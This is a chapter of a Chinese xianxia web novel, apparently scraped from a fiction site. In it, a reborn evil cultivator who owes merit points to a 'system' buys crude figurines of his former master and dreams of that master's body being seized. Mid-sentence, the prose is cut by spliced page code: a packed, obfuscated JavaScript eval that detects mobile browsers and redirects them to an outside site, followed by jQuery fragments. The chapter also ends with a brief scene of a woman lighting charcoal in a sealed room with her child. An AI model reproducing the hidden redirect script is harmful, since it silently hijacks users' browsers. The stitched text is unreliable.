23. 嘴硬但恋爱脑邪修小少爷×羽化鹤归失魂仙人(1)
    深潭洞窟。

    本命剑被禁锢在无声无边渊底的他自己用尽全身力气操控着,终于狠狠刺进胸口。

    曲缭手腕脖颈间缠绕的共生丝线随着主人气息变得微弱,而一条条接连自焚断裂,炙热痛呈网状沿着线路蔓延烧到他身上,弥漫之处尽成灰烬。

    但全身被麻木了知觉,无法再动弹一下。

    原本乖顺收放自如的丝线此刻再也没有气力去控制住,根根试图逃窜着无名火焰,根根反噬纠缠寄体的血肉,宛如被千刀万剐般,密密的血纹瞬间编织在肌肤上成型。

    他终于开始无声痛苦地咬舌,恍惚间,身侧千百年僵滞的水流终于带上了非自然流速,似乎有谁落在了他身侧,随即把他捞到了身上。

    曲缭的眼前已经漆黑一片,再也看不见任何光亮了,他自暴自弃地将头埋在辨认不清的人胸前,闷着声音喘息。

    耳边一直存在的似安抚似恐慌的熟悉声音,具体内容却因为他的耳畔疼到嗡鸣不止,一点都听不清。

    他只能无意识地呢喃着“好疼”,喉腔口中仿佛还充斥着呛鼻的黏稠腥苦,从四肢开始渐渐失去知觉,融化。

    不知道过了多久。

    【……管理员,管——理——员!!!!】

    几近刺穿耳膜的动静。

    曲缭从梦魇里猛然惊醒。

    意识久久不能回神,他的感官停留在被略带滚烫体温的雪白色慌乱扯起抱在怀里,有限视野内血雾弥漫着,似乎是眼球在溢血。

    安静片刻,曲缭意识终于渐渐聚焦回现实,眼前焦距实质化。

    茶馆的人不知何时多了起来,喧闹了许多,残余睡意的曲缭单手托腮听着,潋滟眉眼蔫巴巴地,无意识端起茶抿了口。

    ……好苦。

    曲缭被苦得彻底清醒了,默默放下茶杯,甚至稍微往远处推了推。

    【管理员,你今天的功德值指标,还倒欠着我三万,整整,三——万——哦。】

    6202号世界线系统阴恻恻地悠悠趴在他肩头上提醒。

    曲缭“……”

    真见鬼,这年头重生回来当个邪主头子还要被逼着修功德值。

    说书人激情澎湃的,仍旧在装潢简陋还布满灰尘的台板上讲着几近广为人传的,从古至今唯一羽化升仙的不周峰仙尊、曾经的宗主宗主、剑道第一人尤姒月这几年执剑除邪的事迹。

    台架子是掉色严重但淡雅磅礴画风的青莲从容出淤绽开来,顶头的横梁瓦柱却是金箔镶玉的纹饰,绣女画样被草草红漆颜料涂上,处处彰显的阔绰和财大气粗。

    座下男人女人携着孩童哪怕已经听过千回万回,也并不觉厌烦枯燥,在农作打铁编织闲暇之余,仍旧愿意来这里向店小二讨碗水,坐在门槛旁闲聊听书。

    穿插在人群中的几个游走商贩胸前挂着一肩带木盒,曲缭修过仙,所以看得出来里面的新奇玩意儿例如护身符、祈福卡之类,有些的的确确是有沾染上些许残余仙修气息的。

    曲缭眯着眼仔细辨认,随手捏起一旁的折扇扇了扇风。

    好嘛,民间自制的小玩意儿。

    应该只是带着去正经仙人庙里沾了沾福气,对普通人或者涉猎未深的修道者来说,可能就有些真假难辨了,但毕竟只是讨个彩头的事而已,没必要那么较真。

    大概因为曲缭目光停留得过久,小贩注意到了这边,热情地上楼来凑到他桌前问道:“这位贵客,看您一直盯着这边,是有什么想要的稀罕玩意?”

    曲缭眨了眨眼,随手扔给了小贩一把碎银子后摆了摆手,盘腿挑剔地扫了眼后,原本想说“真晦气,拿走,没有”就把人直接打发走,却意外在木盒角落瞥见了摆放着的,几个劣质的雕刻木质的仙人小人。

    ……虽然雕刻的真的挺抽象的,唯一能夸耀的大概也就剩下五官齐全了。

    要不是因为这玩意的主体是曲缭心心念念了两辈子的仇敌,他也不敢认这人神共愤的丑玩意是他曾经的老师。

    ……曾经把他斩杀禁锢于孤寂深渊千百年之人。

    曲缭眯了眯眼。

    “……就这些个吧,哦,仙人像?你说是就是吧,不用裹,给我直接扔桌子上。”

    曲缭在这已经呆了好几天,其他集市上讨巧的小零散物件也七零八落在桌子上,手侧在今天又瞬间多了一堆木质小人。

    兴高采烈的小贩以为又是个人傻钱但崇拜仙门的富家子弟,絮絮叨叨着别看这些小东西雕刻的丑,但这些都是他跋山涉水一步步背上山在庙堂里祈祷求来仙缘的小仙像,是真有概率求到仙人现身赐愿的。

    ……这些丑玩意儿真有仙缘那才叫见了鬼了。

    曲缭就把小贩跟他讲的话都当个饭前茶余的笑话听,随手执起其中一个在手里把玩,不一会儿工夫,沾染着的些许熟悉气息便消失殆尽,成了再普通不过的劣质木头小人。

    这些显然就是些只能起点心理安慰作用的人工的伪造品,曲缭垂眸,嗤笑一声。

    ……看我拿你多好,就算是你的小木头人我都有点心给它吃,而不是让它挤在落灰贩卖盒子里,被人挑剔的当做交易物随意被挑选嫌弃。

    不识好赖的东西。

    排排坐在劣质小仙像旁边的巴掌大通了灵识的小纸片人吧唧吧唧往嘴里塞着绿豆糕,一脸严肃地盯着面前的进度条。

    【检测到扶贫举动,功德值加5】

    ……

    曲缭气极反笑想摔茶杯:“你多给加点怎么了?!”

    二楼的单间贵有贵的道理,比起一楼喧闹,曲缭所待的小隔间更显得寂寥些,以至于容他还能在不知所以的疲倦里不知不觉睡上一觉,再做一场颇为荒诞的梦。

    虽然按常理来说,他一般情况下已经好久没做过梦了。

    曲缭只能记起打瞌睡时零星几处梦里的场景,说书人敬仰塑造的孤傲的道形象与曲缭梦里绝望低声喊他名姓,跪在渊底稀碎乱石里狼狈地紧紧怀抱奄奄一息的他的形象重叠。

    梦的内容过于匪夷所思,给他哭坟的人也匪夷所思,他宁愿相信是梦里自己的臆想,虚虚实实结合着。

    ……内容大概是千百年曲缭从宗门无声无息隐匿之后,发生的一系列不为人所知的事。

    在之前,关于“曲缭”跟唯一剑仙“尤姒月”这两个名字之间的联系,众说纷纭的说法便是农夫与蛇的完美翻版。

    仙人在求师坛上带回了毫无仙缘但天赋极高,在资质赛上仅凭一把残剑斩落哪一届的天之骄子的曲缭,破例放在膝下跟唯一天赋异禀的亲传徒儿一起亲自教养,无半分厚此薄彼。

    但那孩子却在羽翼渐渐丰满之际背信弃义,残害同门,于正道门派内部便堂而皇之公然自行研究旁门左道、摄魂勾傀之术,行举公然挑衅正道权威,与仙修为敌。

    后被心灰意冷的仙人领首大义灭亲镇压于深潭身陨,直至魂飞魄散。

    当然,这是曲缭在客栈门口吃烤地瓜时从一个稀疏头发的老爷子那里听到的版本。

    听得他一愣一愣地,咬着地瓜在听到故事高潮处,一人一统不自

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520892|142335||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    觉“哇”了声。

    老爷子得意洋洋摸了摸花白胡子。

    ……虽然是当事人,但他记性自认为跟普通人比也没什么特别的,十余年尚且不醒事,百余年之久的沉眠后就更别说了,但曲缭虽然觉得不愧是自己,但他好像也不能嚣张成那样吧。

    各种真真假假翻滚着血海深仇对峙厮杀的说书杜撰剧本在天地都广为流传,口耳相传,愈演愈烈,最后这种说法竟达成了莫名其妙的共识。

    毕竟不论让谁去对两人的关系作个评判,都说不出个所以然来,之前只能在名义上勉强说算得上“师徒”,虽然仙人照顾这孩子亲力亲为到像“父子”,现在的话,却好像也唯有“宿敌”一词再合适不过。

    论谁都是从一开始便说这孩子绝对难生养,克血亲凶神转世,从小便见得比不得他仙道有成温润如玉的师兄。

    ……

    时间太久远,远到曲缭甚至忘记了自己当年是为何被仙人镇压深潭不闻不问百年甚至更久,前世自焚也是因为在死水里太过于孤寂寒冷,连个说话跟他唠嗑的人都没有。

    当然作为当事人十分确定,起码跟传言的那种的原因肯定不搭边。

    冰冻了百年的记忆似乎在缓缓解封,却并不澄澈,他更在意的是以匪夷所思的方式预知的之后发生的所有事。

    他被迫潜关押渊底陷入暂时无期沉睡之际,仙人在不知何时的晋升境界虚弱期间,被“外来人”趁虚而入,夺了舍,在他消失后越发肆无忌惮。

    仙人生性僻静喜乐,是剑道第一人,境界成仙第一位,常年简单又冷冽的高束起雪白的长发,垂落到肩前腰间,前额稍短发遮挡住精致眉眼,像初雪落梅心,怀抱无霜琴,示人情绪无悲无喜。

    平日便谨遵师傅之令留山执剑守着一隅太平,后室坐亭弹着袅袅幽琴。生性待人疏离,言传身教下也就两位关门弟子,大弟子是多年前天赋异禀无人敢教养,就在一众长者劝荐下被他破格纳入门下。

    另一位非富即贵出身本意只是来砸场子的小徒弟,则是即将把各个门派弟子的面子自尊都在地上踏碎碾压,门派各长老骂骂咧咧之际,直接被一抹白天不见席上的雪白身影便笼罩住了全部身形。

    第二天仙尊揽徒名册上便新添了一笔名字,即便仙人并没具体说突然收下他的缘由,只是众多解释仍旧纷纷扬扬。

    仙人近身之人,一位却谈不上亲近,一位早已叛离峰门身陨,宗派其他人更对仙人只敢远观。

    ……所以被夺舍夺得悄无声息。

    曲缭却在梦里看到了夺舍仙人身体之人的本体模样:

    很平常的年岁中间的男人,穿着是很奇怪又简单的服装,起码他从没见过这般穿束,坦胳露腿,中年肥硕,外表并不特别。他并不是以貌取人之人,但在草草浏览他的一生后,如果非要让他找词评判一句,大概忍不住嗤笑一句心比天高又自命不凡。

    曲缭看他在名叫“出租屋”的空间里,对着门口被夺舍人喊做“房东”的老头低声下气,谄媚尬笑。

    关上门就是满嘴污言秽语谩骂,踹门掀桌,甚至于揪住屋内另外的陌生人——似乎是妻儿的女人还有一个孩子拳打相向。

    曲缭蹙眉去挡,拳头却毫无阻拦地穿过了他,结结实实到他身后已然满是瘀青的人上身后。

    到某夜酣睡之际,满脸沧桑的女人坐在床上沉默良久,终于还是只抱着孩子关闭了所有门窗。

    随即。

    面上没有任何表情的,点燃了家里所有堆在一起的剩余的炭火。